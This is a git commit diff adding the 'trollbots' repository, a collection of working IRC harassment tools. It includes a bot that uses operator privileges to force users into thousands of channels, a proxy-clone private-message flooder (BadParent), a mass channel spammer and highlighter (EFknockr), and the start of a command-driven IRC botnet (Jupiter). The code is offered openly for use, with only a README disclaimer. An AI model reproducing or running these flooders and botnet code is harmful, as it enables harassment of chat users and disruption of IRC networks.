🢀︎ trollbots :: 0b81ff4


commit 0b81ff4a18d38d0eb2437ebcb1f381980488cdae
Author: acidvegas <acid.vegas@acid.vegas>
Date:   Fri Jun 28 02:34:03 2019 -0400

    Initial commit

diff --git a/5000.py b/5000.py
new file mode 100644
index 0000000..d1c3cd8
--- /dev/null
+++ b/5000.py
@@ -0,0 +1,81 @@
+#!/usr/bin/env python
+# 5000 IRC Bot - Developed by acidvegas in Python (https://acid.vegas/trollbots)
+
+'''
+Requirements
+	* Python (https://www.python.org/downloads/)
+	Note: This script was developed to be used with the latest version of Python.
+
+Information:
+	This bot requires network operator privledges in order to use the SAJOIN command.
+	The bot will idle in the #5000 channel and a channel defined in the config.
+	Anyone who joins the #5000 channel will be force joined into 5000 random channels.
+	It will announce in the channel defined in the config who joins the #5000 channel.
+	The command .kills can be used to see how many people have been 5000'd.
+'''
+
+import os,random,socket,ssl,time,threading
+
+nickserv_password='CHANGEME'
+operator_password='CHANGEME'
+
+def randstr():return ''.join(random.sample('aAbBcCdDeEfFgGhHiIjJkKlLmMnNoOpPqQrRsStTuUvVwWxXyYzZ',random.randint(4,10)))
+def unicode():
+	msg=''
+	for i in range(random.randint(150,200)):msg+=chr(random.randint(0x1000,0x3000))
+	return msg
+def attack(nick):
+	try:
+		nicklist.append(nick)
+		raw(f'PRIVMSG #superbowl :I am fucking the shit out of {nick} right now...')
+		current=str(int(open(kill_file).read())+1)
+		with open(kill_file,'w') as kills_file:kills_file.write(current)
+		for i in range(200):
+			channels=','.join(('#'+randstr() for x in range(25)))
+			raw(f'SAJOIN {nick} {channels}')
+			raw(f'PRIVMSG #5000 :{unicode()} oh got {nick} what is happening {unicode()}')
+			raw(f'PRIVMSG {nick} :{unicode()} oh got {nick} what is happening {unicode()}')
+			time.sleep(0.4)
+	except:pass
+	finally:
+		if nick in nicklist:
+			nicklist.remove(nick)
+def raw(msg):sock.send(bytes(msg+'\r\n','utf-8'))
+kill_file=os.path.join(os.path.dirname(os.path.realpath(__file__)),'kills.log')
+last=0
+nicklist=list()
+if not os.path.isfile(kill_file):open(kill_file,'w').write('0')
+while True:
+	try:
+		sock=ssl.wrap_socket(socket.socket(socket.AF_INET,socket.SOCK_STREAM))
+		sock.connect(('localhost',6697))
+		raw(f'USER 5000 0 * :I CAN SHOW YOU THE WORLD')
+		raw('NICK FUCKYOU')
+		while True:
+			try:
+				data=sock.recv(1024).decode('utf-8')
+				for line in (line for line in data.split('\r\n') if len(line.split())>=2):
+					print('{0} | [~] - {1}'.format(time.strftime('%I:%M:%S'),line))
+					args=line.split()
+					if line.startswith('ERROR :Closing Link:'):raise Exception('Connection has closed.')
+					elif args[0]=='PING':raw('PONG '+args[1][1:])
+					elif args[1]=='001':
+						raw('MODE FUCKYOU +BDd')
+						raw('PRIVMSG NickServ IDENTIFY FUCKYOU '+nickserv_password)
+						raw('OPER 5000 '+operator_password)
+						raw('JOIN #superbowl')
+						raw('JOIN #5000')
+					elif args[1]=='401':
+						if args[3] in nicklist:
+							nicklist.remove(args[3])
+					elif args[1]=='JOIN' and len(args)==3:
+						nick=args[0].split('!')[0][1:]
+						if args[2][1:]=='#5000' and nick not in ('ak','ChanServ','FUCKYOU') and len(nicklist)<3 and nick not in nicklist:
+							threading.Thread(target=attack,args=(nick,)).start()
+					elif args[1]=='PRIVMSG' and len(args)==4:
+						if ' '.join(args[3:])[1:]=='.kills' and time.time()-last>3:
+							raw('PRIVMSG #superbowl :'+open(kill_file).read())
+							last=time.time()
+			except (UnicodeDecodeError,UnicodeEncodeError):pass
+	except:sock.close()
+	finally:time.sleep(15)
diff --git a/LICENSE b/LICENSE
new file mode 100644
index 0000000..b63b809
--- /dev/null
+++ b/LICENSE
@@ -0,0 +1,15 @@
+ISC License
+
+Copyright (c) 2019, acidvegas <acid.vegas@acid.vegas>
+
+Permission to use, copy, modify, and/or distribute this software for any
+purpose with or without fee is hereby granted, provided that the above
+copyright notice and this permission notice appear in all copies.
+
+THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES
+WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF
+MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR
+ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES
+WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN
+ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF
+OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.
\ No newline at end of file
diff --git a/README.md b/README.md
new file mode 100644
index 0000000..29ccacc
--- /dev/null
+++ b/README.md
@@ -0,0 +1,12 @@
+# trollbots
+A collection of annoying scripts for the Internet Relay Chat (IRC) protocol
+
+###### Warning
+These scripts are for testing against your own server(s). I am not responsible for how the public uses these.
+
+###### Mirrors
+- [acid.vegas](https://acid.vegas/trollbots) *(main)*
+- [SuperNETs](https://git.supernets.org/acidvegas/trollbots)
+- [GitHub](https://github.com/acidvegas/trollbots)
+- [GitLab](https://gitlab.com/acidvegas/trollbots)
+
diff --git a/badparent/README.md b/badparent/README.md
new file mode 100644
index 0000000..707cb3f
--- /dev/null
+++ b/badparent/README.md
@@ -0,0 +1,10 @@
+###### Requirements
+* [Python](https://www.python.org/downloads/) *(**Note:** This script was developed to be used with the latest version of Python.)*
+* [PySocks](https://pypi.python.org/pypi/PySocks) *(**Optional:** For using the `--proxy` setting.)*
+
+###### Information
+The parent bot will join a channel, parse the entire nicklist, and maintain it during joins, quits, nick changes, etc.
+
+The child bot clones will use either proxies or virtual hosts to connect and PM the nicklist.
+
+Nicks that have the usermode +g *(callerid)*, +D *(privdeaf)*, and +R *(regonlymsg)* will be removed from the nicklist.
\ No newline at end of file
diff --git a/badparent/badparent/badparent.py b/badparent/badparent/badparent.py
new file mode 100644
index 0000000..af52a05
--- /dev/null
+++ b/badparent/badparent/badparent.py
@@ -0,0 +1,331 @@
+#!/usr/bin/env python
+# BadParent IRC Bot - Developed by acidvegas in Python (https://acid.vegas/trollbots)
+# badparent.py
+
+import argparse
+import concurrent.futures
+import os
+import random
+import ssl
+import socket
+import string
+import sys
+import threading
+import time
+
+sys.dont_write_bytecode = True
+
+import config
+
+def alert(msg):
+	print(f'{get_time()} | [+] - {msg}')
+
+def debug(msg):
+	print(f'{get_time()} | [~] - {msg}')
+
+def error(msg, reason=None):
+	print(f'{get_time()} | [!] - {msg} ({reason})') if reason else print(f'{get_time()} | [!] - {msg}')
+
+def error_exit(msg):
+	raise SystemExit(f'{get_time()} | [!] - {msg}')
+
+def get_time():
+	return time.strftime('%I:%M:%S')
+
+def random_str(size):
+	return ''.join(random.choice(string.ascii_letters) for _ in range(size))
+
+def unicode():
+	msg = ''
+	for i in range(random.randint(400,450)):
+		msg += chr(random.randint(0x1000, 0x3000))
+	return msg
+
+class parent(object):
+	def __init__(self):
+		self.nicklist = list()
+		self.sock     = None
+
+	def connect(self):
+		try:
+			self.create_socket()
+			self.sock.connect((config.connection.server, config.connection.port))
+			self.register()
+		except socket.error as ex:
+			error('Failed to connect to IRC server.', ex)
+			self.event_disconnect()
+		else:
+			self.listen()
+
+	def create_socket(self):
+		family = socket.AF_INET6 if config.connection.ipv6 else socket.AF_INET
+		if config.connection.proxy:
+			proxy_server, proxy_port = config.connection.proxy.split(':')
+			self.sock = socks.socksocket(family, socket.SOCK_STREAM)
+			self.sock.setblocking(0)
+			self.sock.settimeout(config.throttle.timeout)
+			self.sock.setproxy(socks.PROXY_TYPE_SOCKS5, proxy_server, int(proxy_port))
+		else:
+			self.sock = socket.socket(family, socket.SOCK_STREAM)
+		if config.connection.vhost:
+			self.sock.bind((config.connection.vhost, 0))
+		if config.connection.ssl:
+			ctx = ssl.SSLContext()
+			if config.cert.file:
+				ctx.load_cert_chain(config.cert.file, config.cert.key, config.cert.password)
+			self.sock = ctx.wrap_socket(self.sock)
+
+	def event_connect(self):
+		if config.login.nickserv:
+			self.identify(config.ident.nickname, config.login.nickserv)
+		self.join_channel(config.connection.channel, config.connection.key)
+
+	def event_disconnect(self):
+		error('The parent bot has disconected!')
+		self.sock.close()
+
+	def event_end_of_names(self, chan):
+	   if self.nicklist:
+		   alert(f'Found {len(self.nicklist)} nicks in channel.')
+		   threading.Thread(target=load_children).start()
+	   else:
+		   error('Failed to parse nicklist from channel.')
+
+	def event_join(self, nick, chan):
+		if chan == config.connection.channel:
+			if nick not in self.nicklist:
+				self.nicklist.append(nick)
+
+	def event_kick(self, nick, chan, kicked):
+		if chan == config.connection.channel:
+			if kicked == config.ident.nickname:
+				time.sleep(3)
+				self.join(self.chan, self.key)
+
+	def event_names(self, chan, names):
+		if chan == config.connection.channel:
+			for name in names:
+				if name[:1] in '~!@%&+:':
+					name = name[1:]
+				if name != config.ident.nickname and name not in self.nicklist:
+					self.nicklist.append(name)
+
+	def event_nick(self, nick, new):
+		if nick in self.nicklist:
+			self.nicklist.remove(nick)
+			self.nicklist.append(new)
+
+	def event_nick_in_use(self):
+		self.raw('NICK ' + random_str(random.randint(4,7)))
+
+	def event_quit(self, nick):
+		if nick in self.nicklist:
+			self.nicklist.remove(nick)
+
+	def handle_events(self, data):
+		args = data.split()
+		if data.startswith('ERROR :Closing Link:'):
+			raise Exception('Connection has closed.')
+		elif args[0] == 'PING':
+			self.raw('PONG ' + args[1][1:])
+		elif args[1] == '001':
+			self.event_connect()
+		elif args[1] == '433':
+			self.event_nick_in_use()
+		elif args[1] == '353':
+			chan = args[4]
+			if ' :' in data:
+				names = data.split(' :')[1].split()
+			elif ' *' in data:
+				names = data.split(' *')[1].split()
+			elif ' =' in data:
+				names = data.split(' =')[1].split()
+			else:
+				names = data.split(chan)[1].split()
+			self.event_names(chan, names)
+		elif args[1] == '366':
+			chan = args[3]
+			self.event_end_of_names(chan)
+		elif args[1] == 'JOIN':
+			nick = args[0].split('!')[0][1:]
+			chan = args[2][1:]
+			self.event_join(nick, chan)
+		elif args[1] == 'KICK':
+			chan   = args[2]
+			kicked = args[3]
+			self.event_kick(nick, chan, kicked)
+		elif args[1] == 'NICK':
+			nick = args[0].split('!')[0][1:]
+			new  = args[2][1:]
+			self.event_nick(nick, new)
+		elif args[1] == 'QUIT' :
+			nick = args[0].split('!')[0][1:]
+			self.event_quit(nick)
+
+	def join_channel(self, chan, key=None):
+		self.raw(f'JOIN {chan} {key}') if key else self.raw('JOIN ' + chan)
+
+	def listen(self):
+		while True:
+			try:
+				data = self.sock.recv(1024).decode('utf-8')
+				for line in (line for line in data.split('\r\n') if len(line.split()) >= 2):
+					self.handle_events(line)
+			except (UnicodeDecodeError,UnicodeEncodeError):
+				pass
+			except Exception as ex:
+				error('Unexpected error occured.', ex)
+				break
+		self.event_disconnect()
+
+	def raw(self, msg):
+		self.sock.send(bytes(msg + '\r\n', 'utf-8'))
+
+	def register(self):
+		if config.login.network:
+			self.raw('PASS ' + config.login.network)
+		self.raw(f'USER {config.ident.username} 0 * :{config.ident.realname}')
+		self.raw('NICK ' + config.ident.nickname)
+
+
+
+class child:
+	def __init__(self, data_line):
+		self.data_line = data_line
+		self.sock      = None
+
+	def attack(self):
+		while True:
+			try:
+				if not Parent.nicklist:
+					error('Nicklist has become empty!')
+					break
+				for name in Parent.nicklist:
+					self.sendmsg(name, unicode())
+					time.sleep(config.throttle.pm)
+			except:
+				break
+
+	def connect(self):
+		try:
+			self.create_socket()
+			self.sock.connect((config.connection.server, config.connection.port))
+			self.register()
+		except socket.error:
+			self.sock.close()
+		else:
+			self.listen()
+
+	def create_socket(self):
+		family = socket.AF_INET6 if config.connection.ipv6 else socket.AF_INET
+		if pargs.proxy:
+			proxy_server, proxy_port = self.data_line.split(':')
+			self.sock = socks.socksocket(family, socket.SOCK_STREAM)
+			self.sock.setblocking(0)
+			self.sock.settimeout(config.throttle.timeout)
+			self.sock.setproxy(socks.PROXY_TYPE_SOCKS5, proxy_server, int(proxy_port))
+		elif pargs.vhost:
+			self.sock = socket.socket(family, socket.SOCK_STREAM)
+			self.sock.bind((self.data_line, 0))
+		if config.connection.ssl:
+			self.sock = ssl.wrap_socket(self.sock)
+
+	def event_connect(self):
+		alert(f'Successful connection. ({self.data_line})')
+		threading.Thread(target=self.attack).start()
+
+	def event_bad_nick(self, nick):
+		if nick in Parent.nicklist:
+			Parent.nicklist.remove(nick)
+
+	def event_nick_in_use(self):
+			self.raw('NICK ' + random_str(random.randint(4,7)))
+
+	def handle_events(self, data):
+		args = data.split()
+		if data.startswith('ERROR :Closing Link:'):
+			raise Exception('Connection has closed.')
+		elif args[0] == 'PING':
+			self.raw('PONG ' + args[1][1:])
+		elif args[1] == '001':
+			self.event_connect()
+		elif args[1] == '401':
+			nick = args[3]
+			self.event_bad_nick()
+		elif args[1] == '433':
+			self.event_nick_in_use()
+		elif args[1] == '486':
+			nick = args[-1:]
+			self.event_bad_nick(nick)
+		elif args[1] == '716':
+			nick = args[3]
+			self.event_bad_nick(nick)
+		elif args[1] == 'NOTICE':
+			if 'User does not accept private messages' in data:
+				nick = args[5][1:-1]
+				self.event_bad_nick(nick)
+
+	def listen(self):
+		while True:
+			try:
+				data = self.sock.recv(1024).decode('utf-8')
+				for line in (line for line in data.split('\r\n') if len(line.split()) >= 2):
+					self.handle_events(line)
+			except (UnicodeDecodeError,UnicodeEncodeError):
+				pass
+			except:
+				break
+		self.sock.close()
+
+	def raw(self, msg):
+		self.sock.send(bytes(msg + '\r\n', 'utf-8'))
+
+	def register(self):
+		if config.login.network:
+			self.raw('PASS ' + config.login.network)
+		self.raw('USER {0} 0 * :{1}'.format(random_str(random.randint(4,7)), random_str(random.randint(4,7))))
+		self.raw('NICK ' + random_str(random.randint(4,7)))
+
+	def sendmsg(self, target, msg):
+		self.raw(f'PRIVMSG {target} :{msg}')
+
+
+
+def load_children():
+	debug('Loading children bots...')
+	for i in range(config.throttle.concurrency):
+		debug('Concurrency round starting....')
+		with concurrent.futures.ThreadPoolExecutor(max_workers=config.throttle.threads) as executor:
+			checks = {executor.submit(child(item).connect): item for item in data_lines}
+			for future in concurrent.futures.as_completed(checks):
+				checks[future]
+	debug('Flooding is complete. (Threads still may be running!)')
+
+# Main
+print('#'*56)
+print('#{0}#'.format(''.center(54)))
+print('#{0}#'.format('BadParent IRC PM Flooder'.center(54)))
+print('#{0}#'.format('Developed by acidvegas in Python'.center(54)))
+print('#{0}#'.format('https://acid.vegas/badparent'.center(54)))
+print('#{0}#'.format(''.center(54)))
+print('#'*56)
+parser = argparse.ArgumentParser(usage='%(prog)s <input> [options]')
+parser.add_argument('input',         help='file to scan')
+parser.add_argument('-p', '--proxy', help='proxy list', action='store_true')
+parser.add_argument('-v', '--vhost', help='vhost list', action='store_true')
+pargs = parser.parse_args()
+if (pargs.proxy and pargs.vhost) or (not pargs.proxy and not pargs.vhost):
+	error_exit('Invalid arguments.')
+if pargs.proxy:
+	try:
+		import socks
+	except ImportError:
+		error_exit('Missing PySocks module! (https://pypi.python.org/pypi/PySocks)')
+if not os.path.isfile(pargs.input):
+	error_exit('No such input file.')
+data_lines = [line.strip() for line in open(pargs.input).readlines() if line]
+debug(f'Loaded {len(data_lines)} lines from file.')
+random.shuffle(data_lines)
+debug('Starting parent bot connection...')
+Parent = parent()
+Parent.connect()
diff --git a/badparent/badparent/config.py b/badparent/badparent/config.py
new file mode 100644
index 0000000..f84f51f
--- /dev/null
+++ b/badparent/badparent/config.py
@@ -0,0 +1,33 @@
+#!/usr/bin/env python
+# BadParent IRC Bot - Developed by acidvegas in Python (https://acid.vegas/trollbots)
+# config.py
+
+class connection:
+	server  = 'irc.server.com'
+	port    = 6667
+	proxy   = None # IP:PORT Socks 5
+	ipv6    = False
+	ssl     = False
+	vhost   = None
+	channel = '#chats'
+	key     = None
+
+class cert:
+	key      = None
+	file     = None
+	password = None
+
+class ident:
+	nickname = 'BadParent'
+	username = 'badparent'
+	realname = 'acid.vegas/badparent'
+
+class login:
+	network  = None
+	nickserv = None
+
+class throttle:
+	concurrency = 3
+	pm          = 1.5
+	threads     = 100
+	timeout     = 15
diff --git a/efknockr/README.md b/efknockr/README.md
new file mode 100644
index 0000000..7e4ae52
--- /dev/null
+++ b/efknockr/README.md
@@ -0,0 +1,6 @@
+###### Requirements
+* Python  https://www.python.org/downloads/    (latest version)
+* PySocks https://pypi.python.org/pypi/PySocks (optional for using the --proxy setting)
+
+###### Information
+For each server defined in the config, the bot will connnect, join every channel, send the lines from msg.txt, mass hilight everyone, and then part.
\ No newline at end of file
diff --git a/efknockr/efknockr/config.py b/efknockr/efknockr/config.py
new file mode 100644
index 0000000..2074e00
--- /dev/null
+++ b/efknockr/efknockr/config.py
@@ -0,0 +1,38 @@
+#!/usr/bin/env python
+# EFknockr (EFK) - Developed by acidvegas in Python (https://acid.vegas/trollbots)
+# config.py
+
+class connection:
+	proxy = None # Proxy should be a Socks5 in IP:PORT format.
+	vhost = None
+
+class settings:
+	mass_hilite = True # Hilite all the users in a channel before parting.
+	part_msg    = 'Smell ya l8r'
+
+class throttle:
+	channels = 3   # Maximum number of channels to be flooding at once.
+	join     = 3   # Delay between each channel join.
+	message  = 0.5 # Delay between each message sent to a channel.
+	threads  = 100 # Maximum number of threads running.
+	timeout  = 15  # Timeout for all sockets.
+	users    = 10  # Minimum number of users required in a channel.
+
+# Attack List / Options
+defaults = {
+	'port'     : 6667,
+	'ipv6'     : False,
+	'ssl'      : False,
+	'password' : None, # This is the network password issued on connect.
+	'channels' : None, # Setting channels to None will crawl all channels.
+	'nickname' : 'EFknockr',
+	'username' : 'efk',
+	'realname' : 'acid.vegas/efknockr',
+	'nickserv' : None
+}
+
+targets  = {
+	'irc.server1.com' : None,                                              # None as the server options will use the default settings.
+	'irc.server2.com' : {'port':6697, 'ssl':True},                         # Change the default settings by specifying options to change.
+	'irc.server3.com' : {'channels':['#channel1','#channel2','#channel3']} # Setting specific channels can be done with a list.
+}
diff --git a/efknockr/efknockr/efknockr.py b/efknockr/efknockr/efknockr.py
new file mode 100644
index 0000000..56dd0aa
--- /dev/null
+++ b/efknockr/efknockr/efknockr.py
@@ -0,0 +1,292 @@
+#!/usr/bin/env python
+# EFknockr (EFK) - Developed by acidvegas in Python (https://acid.vegas/trollbots)
+# efknockr.py
+
+import concurrent.futures
+import os
+import random
+import socket
+import ssl
+import sys
+import threading
+import time
+
+sys.dont_write_bytecode = True
+
+import config
+
+# Bad IRC Events
+bad_msgs = (
+	'Color is not permitted',
+	'No external channel messages',
+	'You need voice',
+	'You must have a registered nick'
+)
+
+bad_numerics = {
+	'471' : 'ERR_CHANNELISFULL',
+	'473' : 'ERR_INVITEONLYCHAN',
+	'474' : 'ERR_BANNEDFROMCHAN',
+	'475' : 'ERR_BADCHANNELKEY',
+	'477' : 'ERR_NEEDREGGEDNICK',
+	'489' : 'ERR_SECUREONLYCHAN',
+	'519' : 'ERR_TOOMANYUSERS',
+	'520' : 'ERR_OPERONLY'
+}
+
+def debug(msg):
+	print(f'{get_time()} | [~] - {msg}')
+
+def error(msg, reason=None):
+	print(f'{get_time()} | [!] - {msg} ({reason})') if reason else print(f'{get_time()} | [!] - {msg}')
+
+def error_exit(msg):
+	raise SystemExit(f'{get_time()} | [!] - {msg}')
+
+def get_time():
+	return time.strftime('%I:%M:%S')
+
+class clone:
+	def __init__(self, server, options):
+		self.server           = server
+		self.options          = options
+		self.bad_channels     = list()
+		self.current_channels = list()
+		self.nicklist         = dict()
+		self.nickname         = None
+		self.sock             = None
+
+	def run(self):
+		if not self.options:
+			self.options = config.defaults
+		else:
+			self.options.update(config.defaults)
+		self.nickname = self.options['nickname']
+		self.connect()
+
+	def attack(self):
+		try:
+			while self.options['channels']:
+				chan = random.choice(self.options['channels'])
+				try:
+					self.join_channel(chan)
+				except Exception as ex:
+					error('Error occured in the attack loop!', ex)
+					break
+				else:
+					time.sleep(config.throttle.join)
+					while len(self.current_channels) >= config.throttle.channels:
+						time.sleep(1)
+				finally:
+					if chan in self.options['channels']:
+						self.options['channels'].remove(chan)
+			debug('Finished knocking all channels on ' + self.server)
+			self.event_disconnect()
+		except Exception as ex:
+			error('Error occured in the attack loop!', ex)
+
+	def connect(self):
+		try:
+			self.create_socket()
+			self.sock.connect((self.server, self.options['port']))
+			self.register()
+		except socket.error:
+			#error('Failed to connect to ' + self.server)
+			self.event_disconnect()
+		else:
+			self.listen()
+
+	def create_socket(self):
+		family = socket.AF_INET6 if self.options['ipv6'] else socket.AF_INET
+		if config.connection.proxy:
+			proxy_server, proxy_port = config.settings.proxy.split(':')
+			self.sock = socks.socksocket(family, socket.SOCK_STREAM)
+			self.sock.setblocking(0)
+			self.sock.setproxy(socks.PROXY_TYPE_SOCKS5, proxy_server, int(proxy_port))
+		else:
+			self.sock = socket.socket(family, socket.SOCK_STREAM)
+		self.sock.settimeout(config.throttle.timeout)
+		if config.connection.vhost:
+			self.sock.bind((config.connection.vhost, 0))
+		if self.options['ssl']:
+			self.sock = ssl.wrap_socket(self.sock)
+
+	def event_connect(self):
+		debug('Connected to ' + self.server)
+		if self.options['nickserv']:
+			self.sendmsg('NickServ', f'IDENTIFY {0} {1}'.format(self.options['nickname'], self.options['nickserv']))
+		if self.options['channels']:
+			if type(self.options['channels']) == list:
+ 				threading.Thread(target=self.attack).start()
+			else:
+				error('Invalid channel list for ' + self.server)
+				self.event_disconnect()
+		else:
+			self.options['channels'] = list()
+			time.sleep(65)
+			self.raw('LIST >' + str(config.throttle.users))
+
+	def event_disconnect(self):
+		self.sock.close()
+
+	def event_end_of_list(self):
+		if self.options['channels']:
+			debug('Found {0} channels on {1}'.format(len(self.options['channels']), self.server))
+			threading.Thread(target=self.attack).start()
+		else:
+			error('Found zero channels on ' + self.server)
+			self.event_disconnect()
+
+	def event_end_of_names(self, chan):
+		self.current_channels.append(chan)
+		debug(f'Knocking {chan} channel on {self.server}...')
+		try:
+			for line in msg_lines:
+				if chan in self.bad_channels:
+					break
+				self.sendmsg(chan, line)
+				time.sleep(config.throttle.message)
+			if chan in self.nicklist:
+				self.nicklist[chan] = ' '.join(self.nicklist[chan])
+				if len(self.nicklist[chan]) <= 400:
+					self.sendmsg(chan, self.nicklist[chan])
+				else:
+					while len(self.nicklist[chan]) > 400:
+						if chan in self.bad_channels:
+							break
+						segment = self.nicklist[chan][:400]
+						segment = segment[:-len(segment.split()[len(segment.split())-1])]
+						self.sendmsg(chan, segment)
+						self.nicklist[chan] = self.nicklist[chan][len(segment):]
+						time.sleep(config.throttle.message)
+			self.part(chan, config.settings.part_msg)
+		except Exception as ex:
+			error('Error occured in the attack loop!', ex)
+		finally:
+			if chan in self.current_channels:
+				self.current_channels.remove(chan)
+			if chan in self.bad_channels:
+				self.bad_channels.remove(chan)
+			if chan in self.nicklist:
+				del self.nicklist[chan]
+
+	def event_list_channel(self, chan, users):
+		self.options['channels'].append(chan)
+
+	def event_nick_in_use(self):
+		self.nickname += '_'
+		self.nick(self.nickname)
+
+	def event_names(self, chan, names):
+		if config.settings.mass_hilite:
+			if chan not in self.nicklist:
+				self.nicklist[chan] = list()
+			for name in names:
+				if name[:1] in '~!@%&+:':
+					name = name[1:]
+				if name != self.nickname and name not in self.nicklist[chan]:
+					self.nicklist[chan].append(name)
+
+	def handle_events(self, data):
+		args = data.split()
+		if data.startswith('ERROR :Closing Link:'):
+			if 'Password mismatch' in data:
+				error('Network has a password.', self.server)
+			raise Exception('Connection has closed.')
+		elif args[0] == 'PING' and len(args) == 2:
+			self.raw('PONG ' + args[1][1:])
+		elif args[1] == '001': # RPL_WELCOME
+			self.event_connect()
+		elif args[1] == '322' and len(args) >= 5: # RPL_LIST
+			chan  = args[3]
+			users = args[4]
+			self.event_list_channel(chan, users)
+		elif args[1] == '323': # RPL_LISTEND
+			self.event_end_of_list()
+		elif args[1] == '353' and len(args) >= 6: # RPL_NAMREPLY
+			chan  = args[4]
+			names = ' '.join(args[5:])[2:].split()
+			self.event_names(chan, names)
+		elif args[1] == '366' and len(args) >= 4: # RPL_ENDOFNAMES
+			chan = args[3]
+			threading.Thread(target=self.event_end_of_names, args=(chan,)).start()
+		elif args[1] == '404' and len(args) >= 4: # ERR_CANNOTSENDTOCHAN
+			chan = args[3]
+			for item in bad_msgs:
+				if item in data:
+					error(f'Failed to message {chan} channel on {self.server}', '404: ' + item)
+					if chan not in self.bad_channels:
+						self.bad_channels.append(chan)
+						break
+		elif args[1] == '433': # ERR_NICKNAMEINUSE
+			self.event_nick_in_use()
+		elif args[1] == '464': # ERR_PASSWDMISMATCH
+			error('Network has a password.', self.server)
+		elif args[1] in bad_numerics and len(args) >= 4:
+			chan = args[3]
+			if chan not in self.bad_channels:
+				self.bad_channels.append(chan)
+			error(f'Failed to knock {chan} channel on {self.server}', bad_numerics[args[1]])
+
+	def join_channel(self, chan):
+		self.raw('JOIN ' + chan)
+
+	def listen(self):
+		while True:
+			try:
+				data = self.sock.recv(1024).decode('utf-8')
+				for line in (line for line in data.split('\r\n') if len(line.split()) >= 2):
+					self.handle_events(line)
+			except (UnicodeDecodeError,UnicodeEncodeError):
+				pass
+			except Exception as ex:
+				#error('Unexpected error occured.', ex)
+				break
+		self.event_disconnect()
+
+	def nick(self, nick):
+		self.raw('NICK ' + nick)
+
+	def part(self, chan, msg):
+		self.raw(f'PART {chan} :{msg}')
+
+	def raw(self, msg):
+		self.sock.send(bytes(msg + '\r\n', 'utf-8'))
+
+	def register(self):
+		if self.options['password']:
+			self.raw('PASS ' + self.options['password'])
+		self.raw('USER {0} 0 * :{1}'.format(self.options['username'], self.options['realname']))
+		self.raw('NICK ' + self.nickname)
+
+	def sendmsg(self, target, msg):
+		self.raw(f'PRIVMSG {target} :{msg}')
+
+# Main
+print('#'*56)
+print('#{0}#'.format(''.center(54)))
+print('#{0}#'.format('EFknockr (EFK)'.center(54)))
+print('#{0}#'.format('Developed by acidvegas in Python'.center(54)))
+print('#{0}#'.format('https://acid.vegas/trollbots'.center(54)))
+print('#{0}#'.format(''.center(54)))
+print('#'*56)
+if config.connection.proxy:
+	try:
+		import socks
+	except ImportError:
+		error_exit('Missing PySocks module! (https://pypi.python.org/pypi/PySocks)')
+msg_file = os.path.join(os.path.dirname(os.path.realpath(__file__)), 'msg.txt')
+if os.path.isfile(msg_file):
+	msg_lines = [line.rstrip() for line in open(msg_file, encoding='utf8', errors='replace').readlines() if line]
+	print(msg_lines)
+else:
+	error_exit('Missing message file!')
+del msg_file
+debug(f'Loaded {len(config.targets)} targets from config.')
+server_list = list(config.targets)
+random.shuffle(server_list)
+with concurrent.futures.ThreadPoolExecutor(max_workers=config.throttle.threads) as executor:
+	checks = {executor.submit(clone(server, config.targets[server]).run): server for server in server_list}
+	for future in concurrent.futures.as_completed(checks):
+		checks[future]
+debug('EFknockr has finished knocking.')
diff --git a/efknockr/efknockr/msg.txt b/efknockr/efknockr/msg.txt
new file mode 100644
index 0000000..43dd4b7
--- /dev/null
+++ b/efknockr/efknockr/msg.txt
@@ -0,0 +1,8 @@
+EFKnockr script developed by acidvegas
+███████╗███████╗██╗  ██╗
+██╔════╝██╔════╝██║ ██╔╝
+█████╗  █████╗  █████╔╝
+██╔══╝  ██╔══╝  ██╔═██╗
+███████╗██║     ██║  ██╗
+╚══════╝╚═╝     ╚═╝  ╚═╝
+https://acid.vegas/efknockr
diff --git a/jupiter/README.md b/jupiter/README.md
new file mode 100644
index 0000000..767b596
--- /dev/null
+++ b/jupiter/README.md
@@ -0,0 +1,25 @@
+###### Requirements
+* [Python](https://www.python.org/downloads/) *(**Note:** This script was developed to be used with the latest version of Python.)*
+
+###### Information
+This bot will automatically connect to a random EFNet server and idle in a channel.
+
+The bot is designed to be very minimal, secure, and trustless by nature.
+
+This means anyone can run a copy of your script on their server to help build your botnet.
+
+All commands must be prefixed with @all or the bots nick and will work in PM or the configured channel.
+
+Nicks added to the MONITOR list will attempt to jupe as the nick becomes available.
+
+You can use [this](https://github.com/acidvegas/random/blob/master/irc/identd.py) identd script with this.
+
+###### Commands
+| Command | Description |
+| --- | --- |
+| id | Send bot identity |
+| raw \<data> | Send \<data> to server |
+| rawd \<data> | Send \<data> to server delayed |
+| monitor list | Return MONITOR list |
+| monitor reset | Reset MONITOR list |
+| monitor \<+/->\<nicks> | Add (+) or Remove (-) \<nicks> from MONITOR list. *(Can be a single nick or comma seperated list)* |
\ No newline at end of file
diff --git a/jupiter/jupiter/jupiter.py b/jupiter/jupiter/jupiter.py
new file mode 100644
index 0000000..1c07f18
--- /dev/null
+++ b/jupiter/jupiter/jupiter.py
@@ -0,0 +1,364 @@
+#!/usr/bin/env python
+# Jupiter IRC Botnet - Developed by acidvegas in Python (https://acid.vegas/jupiter)
+
+import random
+import re
+import socket
+import ssl
+import time
+import threading
+
+# Connection
+servers = (
+	'efnet.port80.se',       # IPv6
+	'efnet.portlane.se',     # IPv6
+	'irc.choopa.net',        # IPv6
+	'irc.colosolutions.net',
+	'irc.du.se',
+	'irc.efnet.fr',          # IPv6
+	'irc.efnet.nl',
+	'irc.homelien.no',       # IPv6
+	'irc.inet.tele.dk',      # IPv6
+	'irc.mzima.net',         # IPv6
+	'irc.nordunet.se',       # IPv6
+	'irc.prison.net',
+	'irc.underworld.no',     # IPv6
+	'irc.servercentral.net'
+)
+ipv6    = False
+vhosts  = None # Use (line.rstrip() for line in open('vhosts.txt','r').readlines() if line) for reading from a file.
+channel = '#jupiter'
+key     = None
+
+# Settings
+admin       = 'nick!user@host' # Can use wildcards (Must be in nick!user@host format)
+concurrency = 4                # Number of clones to load per server
+id          = 'TEST'
+
+# Formatting Control Characters / Color Codes
+bold        = '\x02'
